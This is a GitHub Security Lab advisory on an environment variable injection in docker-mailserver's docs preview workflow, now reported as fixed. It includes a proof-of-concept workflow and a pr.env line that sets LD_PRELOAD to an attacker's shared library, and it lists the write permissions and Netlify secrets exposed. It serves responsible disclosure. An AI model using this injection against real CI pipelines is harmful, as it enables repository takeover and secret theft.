Coordinated Disclosure Timeline
- 2024-10-02: Reported via GitHub’s Private Vulnerability Reporting.
- 2024-10-30: Workflow is fixed.
Summary
docker-mailserver docs-preview-deploy.yml
workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.
Project
docker-mailserver
Tested Version
Latest commit at the time of reporting.
Details
Environment Variable Injection in docs-preview-deploy.yml
workflow. (GHSL-2024-255
)
The docs-preview-deploy.yml
workflow gets triggered when the Documentation (PR)
workflow completes:
on:
workflow_run:
workflows: ['Documentation (PR)']
types:
- completed
Later, it downloads and extracts an artifact generated by the triggering workflow:
- name: 'Download build artifact'
uses: actions/download-artifact@v4
with:
name: preview-build
github-token: ${{ secrets.GITHUB_TOKEN }}
run-id: ${{ github.event.workflow_run.id }}
And reads pr.env
into the runner’s Environment Variables:
- name: 'Extract build artifact'
run: tar -xf artifact.tar.zst
- name: 'Restore preserved ENV'
run: cat pr.env >> "${GITHUB_ENV}"
The $GITHUB_ENV
pointed file is just a regular file where every KEY=VALUE
will be used to define a new Environment Variable after the step completes. Since the contents of the pr.env
may be controlled by an attacker, they will be able to inject any new Environment Variables in the runner.
An attacker can send a malicious inject.so
and pr.env
file with the following content as part of a pull request:
... expected variables ...
LD_PRELOAD=/home/runner/work/docker-mailserver/docker-mailserver/inject.so
Which will result in a new Environment Variables being defined:
- LD_PRELOAD=/home/runner/work/docker-mailserver/docker-mailserver/inject.so
In this example we are manipulating the LD_PRELOAD
environment variable to force the system to load a malicious shared library called inject.so
. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.
The following steps will run the node
command and, therefore, the LD_PRELOAD
will execute arbitrary code when node
gets executed:
PoC
- Clone the repository
- Edit the
docs-preview-prepare.yml
workflow.
name: 'Documentation (PR)'
on:
pull_request:
jobs:
prepare-preview:
name: 'Build Preview'
runs-on: ubuntu-22.04
steps:
- name: 'Prepare artifact for transfer'
run: |
{
echo "PR_HEADSHA=${{ github.event.pull_request.head.sha }}"
echo "PR_NUMBER=${{ github.event.pull_request.number }}"
echo "PR_TITLE=${{ github.event.pull_request.title }}"
echo "NETLIFY_SITE_PREFIX=pullrequest-${{ github.event.pull_request.number }}"
echo "BUILD_DIR=docs/site"
echo "LD_PRELOAD=/home/runner/work/docker-mailserver/docker-mailserver/inject.so"
} >> pr.env
tar --zstd -cf artifact.tar.zst pr.env
- name: 'Upload artifact for workflow transfer'
uses: actions/upload-artifact@v4
with:
name: preview-build
path: artifact.tar.zst
retention-days: 1
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable workflow which will read the malicious artifact and pollute the Environment Variables.
Impact
This issue will grant a malicious actor full write
permissions:
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
In addition, the following secrets will get exposed to the attacker: secrets.NETLIFY_AUTH_TOKEN
and secrets.NETLIFY_SITE_ID
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-255
in any communication regarding this issue.